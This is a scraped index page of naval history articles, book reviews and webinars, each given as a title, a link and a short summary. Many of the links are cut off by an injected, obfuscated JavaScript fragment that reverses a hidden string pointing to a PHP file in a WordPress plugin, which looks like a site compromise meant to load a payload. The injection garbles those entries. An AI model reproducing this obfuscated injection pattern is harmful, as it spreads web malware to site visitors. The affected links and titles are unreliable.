- [History of the Chief Petty Officer Grade](https://navyhistory.org/2022/01/his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - By CWO-4 Lester B. Tucker, USN (Ret.) Originally Published in Pull Together Vol. 32 No. 1 (Spring/Summer 1993) It is a sure bet that one of the proudest days in an enlisted individual's naval service is the date on which a first-class petty officer dons the uniform and is accepted into the Chief Petty Officer
- [The Mayaguez Crisis, Mission Command, and Civil-Military Relations](https://navyhistory.org/2021/12/the-mayaguez-crisis-mission-command-and-civil-military-relations/) - Reviewed by LCDR Joseph L. Ilk, SC, USNR (Ret.) “On May 12, 1975 – only two weeks after the fall of Saigon and the collapse of South Vietnam – Cambodian Khmer Rouge forces boarded and seized the U.S. merchant vessel SS Mayaguez in international waters and took its crew hostage.” Thus begins Dr. Christopher J.
- [U.S. Aircraft Carriers 1939-45](https://navyhistory.org/2021/12/u-s-aircraft-carriers-1939-45/) - Reviewed by CAPT Richard Dick, USN (Ret.) U.S. Aircraft Carriers 1939-45 is an excellent 2021 addition to the Casemate Illustrated Specials series. This slim volume offers a surprisingly comprehensive overview of American carriers that served in World War II as well as those that belonged to wartime classes but were completed only in the aftermath
- [Navy Chaplains at Pearl Harbor](https://navyhistory.org/2021/12/navy-chaplains-at-pearl-harbor/) - By LCDR Sean Walsh, USN (Ret.) Following up on last week’s commemoration of the 246th anniversary of the Chaplain Corps, the NHF would like to acknowledge the service of Navy chaplains during the attack at Pearl Harbor. At the time of Pearl Harbor, the Chaplain Corps had only 192 chaplains on active duty (105 Regular
- [“A Date Which Will Live in Infamy…” Reflections from Ten U.S. Navy Sailors Who Witnessed the Pearl Harbor Attack](https://navyhistory.org/2021/12/a-date-which-will-live-in-infamy-reflections-from-ten-u-s-navy-sailors-who-witnessed-the-pearl-harbor-attack/) - By Kyle Nappi Three years ago, I visited the oil-leaking wreckage of the battleship USS Arizona (among other solemn locations) in Pearl Harbor, Hawaii. Now, eighty years since America’s Day of Infamy, I pause and reflect on those hallowed grounds in Oahu as well as the dwindling number of military veterans who witnessed and survived
- [Into the Iron Triangle: Operation Attleboro and the Battle of North Saigon, 1966](https://navyhistory.org/2021/12/velicogna-in<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - Reviewed by LTC Stephen A. Tribble, Ph.D., USA Common perceptions of the Vietnam War include visions of guerrilla warfare, airmobile infantry, strategic bombing, tactical air support, and unprepared American draftee replacements heading off to a foreign land to fight an enduring war against an unrelenting enemy. In Into the Iron Triangle: Operation Attleboro and the
- [The Medic: A World War II Story of Imprisonment, Hope, and Survival](https://navyhistory.org/2021/12/the-medic/) - Reviewed By Dr. Diana Ahmad Stationed at Ft. McKinley Hospital Clinic in the Philippines on the day the Japanese attacked Pearl Harbor, Henry “Hank” T. Chamberlain became a prisoner of war (POW) of the Japanese by April 1942. Trained as an Army Medic and surgical technician prior to the start of the war, Chamberlain used
- ["Slapshot" on Cruise: Top Gun (1986)](https://navyhistory.org/2021/12/slapshot-on-cruise-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam/) - Top Gun student, then-Lieutenant Slapshot Carter on working with Tom Cruise on the first Top Gun movie, along with the Navy pilots, air crew, and public affairs advisors who also supported the movie., with special thanks to our NHF board member, then-Secretary of the Navy, John F. Lehman. View the full webinar HERE.
- [Pearl Harbor and the Kimmel Controversy— Second Saturday Webinar](https://navyhistory.org/2021/12/pearl-harbor-and-the-kimmel-controversy-second-saturday-webinar/) - On December 7, 1999, the Naval Historical Foundation hosted a colloquium at the U.S. Navy Memorial to discuss the question of accountability for the tragic losses suffered 58 years prior. Join us as we revisit this issue ahead of the 80th anniversary of the Japanese surprise attack on Pearl Harbor. This webinar features an introduction
- [USS Olympia – Second Saturday Webinar](https://navyhistory.org/2021/11/uss-olympia-second-saturday-webinar/) - Our November Second Saturday webinar commemorating the Centennial of the World War I Unknown Soldier’s arrival at the Washington Navy Yard aboard USS Olympia. This program features Patrick K. O'Donnell, author of The Unknowns: The Untold Story of America’s Unknown Soldier and WWI’s Most Decorated Heroes Who Brought Him Home, and a panel including Naval
- [The Eastern Fleet and the Indian Ocean, 1942-1944: The Fleet that Had to Hide](https://navyhistory.org/2021/12/the-eastern-fleet-and-the-indian-ocean-1942-1944-the-fleet-that-had-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};/) - Reviewed by Charles C. Kolb, PhD Charles Stephenson is the author of previous works on naval and siege warfare and the history of fortifications, with four volumes in print: The Fortifications of Malta 1530-1945 (Fortress 16, Oxford: Osprey Publishing, 2004, 2010); The Admiral's Secret Weapon: Lord Dundonald and the Origins of Chemical Warfare (Woodbridge: Boydell Press, 2006);
- [Top Gun's Original Bros](https://navyhistory.org/2021/11/<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnem/) - Hear how, in only 60 days, founder of the Top Gun program Dan Pedersen assembled his team and created a legacy which lasts to this day. View the full webinar HERE.
- [The War of Jenkins Ear: The Forgotten Struggle for North and South America, 1739-1742](https://navyhistory.org/2021/11/the-war-of-jenkins-ear-the-forgotten-struggle-for-north-and-south-america-1739-1748/) - Reviewed by Tyler Robinson The War of Jenkins' Ear is Robert Gaudi's second book in the genre of military history. At a glance it seems quite different from its predecessor, African Kaiser, which focuses on German military operations in Africa in the First World War. However, the two works have certain themes in common. Both
- [Modern USMC Air Power: Aircraft and Units of the Flying "Leathernecks"](https://navyhistory.org/2021/11/modern-usmc-air-power-aircraft-and-units-of-the-flying-leathernecks/) - Reviewed by LtCol Robert Weingart, USMC In Modern USMC Air Power Joe Copalman offers a comprehensive overview of the platforms and units of Marine aviation as well as an array of stories and vignettes from the past twenty years of continuous combat operations. Mr. Copalman is a freelance writer and photojournalist whose work has appeared in numerous print
- ["400, That Bandit's on Your Nose at 15": The Story of the First MiG Kill of Desert Storm](https://navyhistory.org/2021/11/400-that-bandits-on-your-nose-at-15-the-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap/) - VADM Mark "MRT" Fox tells the story of how he scored the first MiG kill of Operation Desert Storm on January 17, 1991. View our full Second Saturday Webinar HERE.
- [Six Bells: Admiral Sam Gravely](https://navyhistory.org/2021/11/six-bells-admiral-sam-gravely/) - A Navy crew honors its beloved Commanding Officer - The Navy's first African-American Admiral. Featuring historians, Paul Stillwell and Dr. Gina Akers. View our full Second Saturday Webinar HERE.
- [German Battleship Helgoland: Detailed in the Original Builders' Plans](https://navyhistory.org/2021/11/german-battleship-helgoland-detailed-in-the-original-builders-plans/) - Reviewed by CDR Tobias R. Philbin III, PhD, USNR (Ret.) This is a professionally executed and beautifully produced exposition of the original plans of the second class of German dreadnought, the originals of which now reside in the collections of the UK National Maritime Museum (NMM). As it happens, this reviewer has some familiarity with the
- [The German Armoured Cruiser SMS Blücher](https://navyhistory.org/2021/11/the-german-armoured-cruiser-sms-blucher/) - Reviewed by CAPT Richard Dick, USN (Ret.) The German Armoured Cruiser SMS Blücher is a 2018 offering in the Kagero Publishing series, “Super Drawings in 3D.” It truly lives up to the series title. It is a collection of breathtaking color 3D renderings of the Blücher, commissioned in 1909 and sunk at the Battle of Dogger Bank in January
- [3 Perspectives on Leadership](https://navyhistory.org/2021/11/3-perspectives-on-leadership/) - An excerpt from our Second Saturday "Run Silent, Run Deep", featuring takeaways on leadership in the Silent Service from the novel. View our full Second Saturday Webinar HERE.
- [The Anglo-Soviet Alliance: Comrades & Allies During WW2](https://navyhistory.org/2021/11/the-anglo-soviet-alliance-comrades-allies-during-ww2/) - Reviewed by CDR Jeffrey Holdsworth, USN Competition occurs within the context of international relationships, and careful examination of how those relationships form and exert influence at all levels of society is valuable to serious foreign policy and national security professionals. In his third published book, The Anglo-Soviet Alliance: Comrades & Allies During WW2, career British
- [Hustled by Duke Snider in WWII?!](https://navyhistory.org/2021/11/hustled-by-duke-snider-in-wwii/) - Naval Historian Paul Stillwell tells the story of how Duke Snider earned extra income during World War II. View our full Second Saturday Webinar HERE.
- [Victory: World War II in Real Time](https://navyhistory.org/2021/10/vic<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rot/) - Reviewed by Jon Mikolashek, Ph.D. When people think of World War II most recall black and white photos of momentous occasions or soldiers running into enemy fire. In Victory: World War II in Real Time, editor Alan Axelrod brings many of these images together in a collection of Associated Press (AP) photos and headlines from
- [The September 11 Attacks: A 20 Year Reflection – SECOND SATURDAY WEBINAR](https://navyhistory.org/2021/09/the-september-11-attacks-a-20-year-reflection-second-saturday-webinar/) - We are joined in our discussion, by Admiral Vern Clark, Admiral Robert Natter, Admiral William Fallon, and Rear Admiral Samuel Cox to address the Navy's response in the aftermath of the 9/11 attacks.
- [Horatio Hornblower vs Jack Aubrey – SECOND SATURDAY WEBINAR](https://navyhistory.org/2020/07/second-saturday-horatio-hornblower-vs-jack-aubrey-webinar/) - The Naval Historical Foundation's new monthly Naval history program featuring presenters and topics you will want to make time for! Following in the wake of the Annual Meeting's Leighton Lecture, "Hollywood and History in the Battle of the Atlantic," (link to youtube site) we were heartened not only by Dr. Craig Symonds' quality presentation, but
- [Who Would You Rather Have a Beer With? Horatio Hornblower vs. Jack Aubrey](https://navyhistory.org/2021/10/who-would-you-rather-have-a-beer-with-horatio-hornblower-vs-jack-aubrey/) - Historian Dr. Craig Symonds breaks down the different personalities of fictional captains Horatio Hornblower and Jack Aubrey. View our full Second Saturday Webinar HERE.
- [America’s Aircraft Carrier: The Projector and Protector of Our Freedom](https://navyhistory.org/2021/10/americas-aircraft-carrier-the-projec<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssal/) - ADM Robert J. Natter describes sending the USS George Washington (CVN-73) to New York in the aftermath of 9/11 and the confidence and comfort it provided New York city’s citizens in a great time of trial and sadness. View our full Second Saturday Webinar HERE.
- [CNO Clark's Game-Changing Vision](https://navyhistory.org/2021/10/cno-clarks-game-changing-vision/) - In June, 2005 the Chief of Naval Operations, Admiral Vern Clark, released an administrative message to the fleet. “Effective immediately, we will refer to all of our sailors, active and reserve, as United States Navy sailors. This shared title will strengthen the bond between our active and Reserve components, and enhance the culture of integration
- [Unsinkable: Five Men and the Indomitable Run of the USS Plunkett](https://navyhistory.org/2021/10/unsinkable/) - Reviewed by Lt. Col. Andrew D. Dausman, USMCR In Unsinkable, James Sullivan delivers a comprehensive account of USS Plunkett during World War II (WWII). A Gleaves-class destroyer, Plunkett saw action in North Africa, Sicily, Salerno, Anzio, Omaha Beach, and the Allied invasion of Southern France. According to Sullivan, Plunkett is one of the few, perhaps
- [The Battle of Surigao Strait – Second Saturday Webinar](https://navyhistory.org/2021/10/the-battle-of-surigao-strait-second-saturday-webinar/)
- [The Glorious First of June 1794](https://navyhistory.org/2021/10/the-glorious-first-of-june-1794/) - Reviewed by James P. Rife, M.A. Amateur historian, ship modeler, and rocket scientist Mark Lardas packs much into Osprey’s latest addition to its excellent ‘Campaign Series’ of reference books, The Glorious First of June 1794. This was the British name for the first major fleet action against the French Navy since the Battle of the
- [BOOK REVIEW: Journey to Command - The Naval Career of Captain J.C. Smith](https://navyhistory.org/2011/09/book-review-journey-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - BOOK REVIEW: Journey to Command - The Naval Career of Captain J.C. Smith by Carol Smith
- [Call for Papers: The Falklands War 30 Years On](https://navyhistory.org/2011/09/call-for-papers-the-falklands-war-30-years-on/) - CALL FOR PAPERS: The Falklands War 30 years on. A one day conference at the National Museum of the Royal Navy, Portsmouth
- [War of 1812 Bicentennial Exhibit opens June 10 at the Maryland Historical Society](https://navyhistory.org/2012/06/war-of-1812-bicentennial-exhibit-opens-june-10-at-the-maryland-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$m/) - Maryland Historical Society telling story of War of 1812 with 5000 square feet of displays, more than 100 historic artifacts, largest bicentennial exhibit in MD
- [BOOK REVIEW: The Shenandoah Affair](https://navyhistory.org/2012/09/book-review-the-shenan<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/rega/) - In the 2012 edition of The Shenandoah Affair, author Paul Williams provides lay historians with an expanded edition of his 1992 historical novel about the adventures of CSS Shenandoah in Australia. This is a wonderful book for those who enjoy mixing business with pleasure.
- [BOOK REVIEW - <em>Hacks, Sycophants, Adventurers, and Heroes: Madison’s Commanders in the War of 1812</em>](https://navyhistory.org/2012/11/book-review-hacks-sycophants-adventurers-and-heroes-madisons-commanders-in-the-war-of-1812/) - Fitz-Enz presents the War of 1812 through a series of mostly independent biographical sketches of the key leaders on the American side.
- [BOOK REVIEW - The Journey of a Warrior, The Twenty-Ninth Commandant of the U.S. Marine Corps, General Alfred Mason Gray](https://navyhistory.org/2012/12/book-review-the-journey-of-a-warrior-the-twenty-ninth-commandant-of-the-u-s-marine-corps-general-alfred-mason-gray/) - The Journey of a Warrior is a “friend’s book.” Gerald Turley has known, respected, and worked with and for Al Gray for years. That is both the book’s greatest strength and a weakness
- [BOOK REVIEW - Destroyer Captain: Lessons of a First Command](https://navyhistory.org/2012/12/book-review-destroyer-captain-lessons-of-a-first-command/) - The prime audience for Destroyer Captain is those in the commanding officer pipeline, but as a source of individual study rather than a classroom text. It is recommended for anyone who is interested in or has fond memories of naval service.
- [Naval History and the Royal Navy: An Interview with Former First Sea Lord Admiral Sir Jonathon Band](https://navyhistory.org/2013/01/naval-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/c/) - NHF interviewed First Sea Lord Admiral Sir Jonathon Band, GCL, DL, who presently serves as Chairman of Trustees of the National Museum of the Royal Navy (NMRN)
- [BOOK REVIEW - <em>Normandy Crucible: The Decisive Battle that Shaped World War II in Europe</em>](https://navyhistory.org/2013/01/book-review-normandy-crucible-the-decisive-battle-that-shaped-world-war-ii-in-europe/) - Prados draws on both Allied and German sources to resolve some seeming discrepancies in earlier recounts of the Normandy campaign, as he walks us through the major battles
- [BOOK REVIEW - <em>Pirate Alley: Commanding Task Force 151 Off Somalia</em>](https://navyhistory.org/2013/01/book-review-pirate-alley-commanding-task-force-151-off-somalia/) - The combination of brevity as well as striking detail makes this book enjoyable for an audience that includes naval history buffs as well as people interested in questions of logistics, trade, and naval policies
- [BOOK REVIEW - <em>Building for War: The Epic Saga of the Civilian Contractors and Marines of Wake Island in World War II</em>](https://navyhistory.org/2013/02/book-review-building-for-war-the-epic-saga-of-the-civilian-contrac<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$m/) - Building for War is meticulously documented in primary sources and archival collections, but never suffers from the pedantic style all-too-commonly found in academic treatises
- [BOOK REVIEW - <em>Normandy: A Graphic History of D-Day</em>](https://navyhistory.org/2013/03/book-review-normandy-a-graphic-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/) - It is a graphic historical narrative, following the graphic novel format that gained currency in the late 1970s, with sequential illustrations and brief comments describing each art panel.
- [2021 In-Person Events](https://navyhistory.org/2021/06/2021-in-person-events/) - 2020 Dudley W. Knox Awards Luncheon August 12, 2021 11:30 a.m - 1:00 p.m EDT At the Arlington Army Navy Country Club At a luncheon on August 12, the Naval Historical Foundation intends to honor its 2020 Knox Medal recipients, Capt. Peter Swartz and Dr. Michael Crawford, as well as present its Volunteer of the
- [Ambassador Middendorf Supports US Navy Band and Young Musician](https://navyhistory.org/2013/05/ambassa<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/) - Ambassador J. William Middendorf II meets Arianna Beyer, winner of the Navy Band High School Concerto Competition Concert, as she rehearses with U.S. Navy Band
- [BOOK REVIEW - <em>Admiral Nimitz: The Commander of the Pacific Ocean Theater</em>](https://navyhistory.org/2013/05/book-review-admiral-nimitz-the-commander-of-the-pacific-ocean-theater/) - Offers a quick and informative read that introduces the reader to one of the U.S. Navy's leading personalities of the twentieth century
- [BOOK REVIEW - <em>Cracking Hitler's Atlantic Wall: The Story of Landing Craft Infantry Group 34</em>](https://navyhistory.org/2013/06/book-review-cracking-hitlers-atlantic-wall-the-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.ts/) - A nice addition to the field of firsthand accounts of how the Navy landed the Army on the shores of Normandy. Those interested in this naval campaign will enjoy the book
- [War of 1812 Exhibit Opening at Maryland Gallery this Weekend](https://navyhistory.org/2013/06/war-of-1812-exhibit-opening-at-maryland-gallery-this-weekend/) - 2nd installment of exhibit "Free Trade and Sailors' Rights: The War of 1812 and the Shaping of America" opens at the Frederick, Maryland gallery of James L. Kochan Fine Art & Antiques Sunday, June 16th.
- [Norman’s Corner: Missile Boat Commander Extraordinaire](https://navyhistory.org/2013/09/normans-corner-missile-boat-commander-extraordinaire/) - Norman Polmar writes about Micha (Michael) Ram, retired vice admiral and former Commander-in-Chief of the Israeli Navy.
- [Pacific Fleet Commander Visits Cold War Gallery](https://navyhistory.org/2014/03/pacific-fleet-commander-visits-cold-war-gallery/) - Last thursday, Admiral Harry Harris, Jr., USN, Commander, Pacific Fleet, visited the Cold War Gallery last Thursday.
- [BOOK REVIEW - <em>Gun Bay: A Tale of Shipwreck on Grand Cayman </em>](https://navyhistory.org/2014/04/book-review-gun-bay-a-tale-of-shipwreck-on-grand-cayman/) - Gun Bay is a sea-going novel that incorporates the historic and powerful Caribbean hurricanes of October 1793 and January 1794. These caused significant and cumulative damage to Grand Cayman Island, as well as the unhappy landfall of an English naval squadron caught in the second hurricane’s path.
- [BOOK REVIEW - Cold War Command: The Dramatic Story of a Nuclear Submariner](https://navyhistory.org/2014/11/book-review-cold-war-command-the-dramatic-s<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-eg/) - The excellent descriptions of basic submarine design and operation are enlarged with characterizations of the hazards and discomforts inherent in battery driven submarines. Except for the induction through the bridge access hatch, his descriptions of the “O” and “P” boats could easily be applied to Guppys and even Barbels.
- [BOOK REVIEW - <em>My Incredible Journey: From Cadet to Command</em>](https://navyhistory.org/2015/02/book-review-my-incredible-journey-from-cadet-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-/) - I found Admiral Dingemans’ book an important addition to the British narrative of the Falklands War, especially from the perspective of a ship’s commanding officer. For that alone I would recommend it to all who practice the amphibious art.
- [Hell in the Central Pacific: The Palau Islands 1944](https://navyhistory.org/2021/10/hell-in-the-central-pacific/) - Reviewed by Diana L. Ahmad, Ph.D. Jon Diamond, a physician and author of over a dozen books about World War II, has produced yet another photo collection about the battle to beat the Japanese in the Pacific. While the United States won the two-month long campaign in the Palau Islands, the conflict proved deadly to
- [BOOK REVIEW - <em>The Accidental Admiral: A Sailor Takes Command at NATO</em>](https://navyhistory.org/2015/03/book-review-the-accidental-admiral-a-sailor-takes-command-at-na<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn./) - Fans of Admiral Stavridis’s previous works are surely going to enjoy The Accidental Admiral. For new readers, it can serve as a valuable introduction that will then pull them toward his other works.
- [BOOK REVIEW - <em>A Handful Of Bullets:  How The Murder Of Archduke Franz Ferdinand Still Menaces The Peace</em>](https://navyhistory.org/2015/03/book-review-a-handful-of-bullets-how-the-murder-of-archduke-franz-ferdinand-still-menaces-the-peace/) - Although this is a book that deals with the lengthy origins of our contemporary troubles and repercussions of the assassination of Archduke Franz Ferdinand and World War I, the book demands no particular understanding of jargon, as the author uses clear and easy-to-understand language.
- [The Maryland 800 and the Call to Arms in 1917](https://navyhistory.org/2015/04/the-maryland-800-and-the-call-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/steg/) - All we had was a name and a city. That’s when it started to get interesting.
- [NHF Flix Vol. 1, Issue 1: <em>The Sand Pebbles</em>](https://navyhistory.org/2015/05/nhf-flix-vol-1-issue-1-the-sand-pebbles/) - The Sand Pebbles, one of the most influential films of the 1960s, tells the story of a lone U.S. Navy vessel in revolutionary 1920s China. This gorgeous military epic from acclaimed director Robert Wise is based off the novel of the same name, written in 1962 by former sailor Richard McKenna.
- [BOOK REVIEW - <em>General Henry Lockwood of Delaware; Shipmate of Melville, Co-builder of the Naval Academy, Civil War Commander </em>](https://navyhistory.org/2015/10/book-review-general-henry-lockwood/) - Neither Henry Lockwood nor his equally prodigious elder brother John, are well-known individuals in popular history. Lloyd Matthews has set out to amend this. In many ways, this volume is a labor of love to bring the Lockwood brothers to a notoriety that they deserve.
- [Naval Disaster in Newfoundland](https://navyhistory.org/2015/10/naval-disaster-in-newfoundland/) - The story of the wreck of USS Pollux and USS Truxton during foul weather off the coast of Placentia Bay, Newfoundland
- [Free Trade and Sailors Rights: A Case for Cap’n Crunch](https://navyhistory.org/2015/11/capn-crunch-navy-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/regana/) - A sailor and his cargo of crunchy sweet cereal gets his place in the historical narrative of Navy history in popular culture.
- [BOOK REVIEW - <em>To Retain Command of the Mississippi: The Civil War Campaign for Memphis</em>](https://navyhistory.org/2015/12/book-review-<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdi/) - This book is a small masterpiece of exhaustive research, strategic and tactical analysis, and clear and vivid description. This is must reading for anyone interested in the US Navy in the Civil War, the campaign in the West, and riverine warfare in general: A gem of a book.
- [The Import and Export of Creativity: Popular LEGO Program Debuts at <em>Kalmar Nyckel</em> Foundation](https://navyhistory.org/2016/03/the-import-lego-kalmar-nyckel/) - Creativity knows no geography.
- [BOOK REVIEW - <em>Before Jutland: The Naval War in Northern European Waters, August 1914—February 1915</em>](https://navyhistory.org/2016/04/book-review-before-jutland/) - I recommend the book to anyone interested in the First World War and naval history, whether professional historian, professional naval officer, or popular history enthusiast. I expect that the book will have more appeal to the first two rather than the latter. It is a commendable work that does much to fill in the details of the early war.
- [BOOK REVIEW - <em>A Confederate Biography:  The Cruise of the CSS</em> Shenandoah](https://navyhistory.org/2016/06/book-review-a-confederate-biography/) - A graduate of the Naval Academy in 1967, Dwight Hughes provides an excellent account of CSS Shenandoah that is easily understood by historians and lay audiences alike. Readers quickly come to feel the movement of the ship as she sailed through tropical storms, fog, and near the icebergs of the Arctic Circle.
- [BOOK REVIEW - <em>The Sea Mark: Captain John Smith’s Voyage to New England</em>](https://navyhistory.org/2016/09/book-review-the-sea-mark/) - Reviewed by Warren Riess, Ph.D.
- [BOOK REVIEW - <em>The Battle of Jutland</em>](https://navyhistory.org/2016/09/book-review-the-battle-of-jutland/) - Reviewed by Tim McGrath
- [BOOK REVIEW - <em>The Conquering Tide: War in the Pacific Islands, 1942-1944</em>](https://navyhistory.org/2016/12/book-review-the-conquering-tide/) - Ian Toll's Conquering Tide is the middle piece of his Pacific War history, and it is a superb fit with the first volume, Pacific Crucible. Now available in paperback, Conquering Tide tells the story of the fight after the Battle of Midway in the air, on and under the water, and on specks of land. It was the struggle that rolled back the Japanese Empire and set the stage for the climactic events in the Inland Sea and the home islands.
- [BOOK REVIEW - <em>Bloody Paralyser: The Giant Handley Page Bombers of the First World War</em>](https://navyhistory.org/2017/06/book-review-bloody-paralyser/) - Readers with interests in World War I aviation or the strategic development bombing in the early years of manned flight will find a lot of material in this book.
- [BOOK REVIEW - <em>Heligoland: Britain, Germany, and the Struggle for the North Sea</em>](https://navyhistory.org/2017/09/book-review-heligoland/) - Heligoland aptly illustrates the naval history between Great Britain and Germany and shows that it was not always or necessarily one of conflict. The book also provides a useful and important reminder to historians of the need to consider a “long view” rather than to become fixated on a short timeframe.
- [BOOK REVIEW - <em>Jutland: The Unfinished Battle</em>](https://navyhistory.org/2017/09/book-review-jutland-unfinished/) - Through this work, Jellicoe describes the events as the strategic, operational, and tactical levels of warfare, but also on the personal level as relayed by some who had a limited view but colorful perspective of the battle.
- [BOOK REVIEW - <em>Going Deep: John Philip Holland and the Invention of the Submarine</em>](https://navyhistory.org/2017/10/book-review-going-deep-john-philip-holland/) - Lawrence Goldstone’s Going Deep is a complex tale of competitive inventiveness, ruthless commercial subterfuge, naval dithering, governmental corruption, foreign intrigue and occasional shenanigans.
- [BOOK REVIEW - <em>Jutland: The Naval Staff Appreciation</em>](https://navyhistory.org/2017/11/book-review-jutland-the-naval-staff/) - When coupled with the BBC's documentary available on YouTube, the Afterword essentially provides a superb Cliff Notes or "Jutland for Dummies."
- [<em>Paranoia and Armageddon: The Nuclear Confrontation Since 1945</em>](https://navyhistory.org/2018/05/paranoia-armaged<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-st/) - Armageddon and Paranoia: The Nuclear Confrontation Since 1945 by Rodic Braithwaite New York, Oxford University Press, 2018. 502 pp., $34.95 This book provides an overview of the part nuclear weapons have played within the world’s scientific, political, and military arena since the 1930s. While the main focus is on the development and deployment of
- [<em>Island of the Blue Foxes</em>](https://navyhistory.org/2018/05/island-of-the-blue-foxes/) - Island of the Blue Foxes: Disaster and Triumph on the World's Greatest Scientific Expedition By Stephen R. Bown Reviewed by Charles C. Kolb, Independent Scholar Island of the Blue Foxes tells a gripping story that holds the reader’s attention while remaining a well-documented piece of nonfiction. Bown tells the story of two Russian Arctic treks: the unsuccessful
- [Pacific War in Color: Episode 3 -- Island Hopping](https://navyhistory.org/2018/07/pacific-war-in-color-episode-3-island-hopping/) - Episode Three-Island Hopping A bold new strategy, island hopping, unfolds in the Central Pacific theater. Tarawa is chosen as the first large-scale amphibious assault with this untried strategy. All participants have been trained, but few have been bloodied. Rare color film footage takes the viewer behind the scenes as the strategy is developed and implemented,
- [<em>On Grand Strategy</em>](https://navyhistory.org/2018/07/on-grand-strategy/) - On Grand Strategy John Lewis Gaddis New York: Penguin Press, 2018 John Lewis Gaddis, an historian of the Cold War and a recipient of the Pulitzer Prize, offers this book as a derivative or emulation of Carl von Clausewitz’s classic, On War. In fact, however, On Grand Strategy surpasses Clausewitz and stands
- [NHF to Honor Outstanding Teachers in 2019 National History Day Competition](https://navyhistory.org/2018/11/2019-national-his<script>$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-s/) - What do Chesapeake Bay oysters, Barbary pirates, the “quasi-war” between U.S. and French ships, and the Vietnam boat people have in common? They were all winning entries in the Naval Historical Foundation’s (NHF) 2018 National History Day (NHD) “Teacher of Distinction” awards program. NHF will once again recognize outstanding history teachers by awarding its Teacher
- [British Destroyer vs German Destroyer: Narvik 1940](https://navyhistory.org/2019/07/narvik/) - David Greentree and David Campbell’s British Destroyer vs. German Destroyer: Narvik 1940 presents a concise yet detailed look at the destroyers of the two major belligerents during the oft-ignored 1940 Norway campaign that encompasses key aspects that provide the reader a refreshing glimpse from a lower level than the normal histories typically offer, the sea-tossed
- [Destroyers at Normandy](https://navyhistory.org/2019/06/destroyers-at-normandy/) - For many years the Naval Historical Foundation published a naval historical blue booklet series on a broad range of topics ranging from John Paul Jones, the resignation of officers of the U.S. Navy at the outbreak of the Civil War, and even a history of the Main Navy Building once located on Independence Avenue in
- [Battle for the Baltic Islands 1917](https://navyhistory.org/2019/06/battle-for-the-baltic-islands-1917/) - Immediately before and after the outbreak of the First World War, Britain seriously considered sending its fleet into Heligoland Bight and seizing an island base off the German coast – Borkum perhaps. The goal was to force the German fleet out to fight, or bottle it up with mines, submarines and destroyer flotillas, instituting a
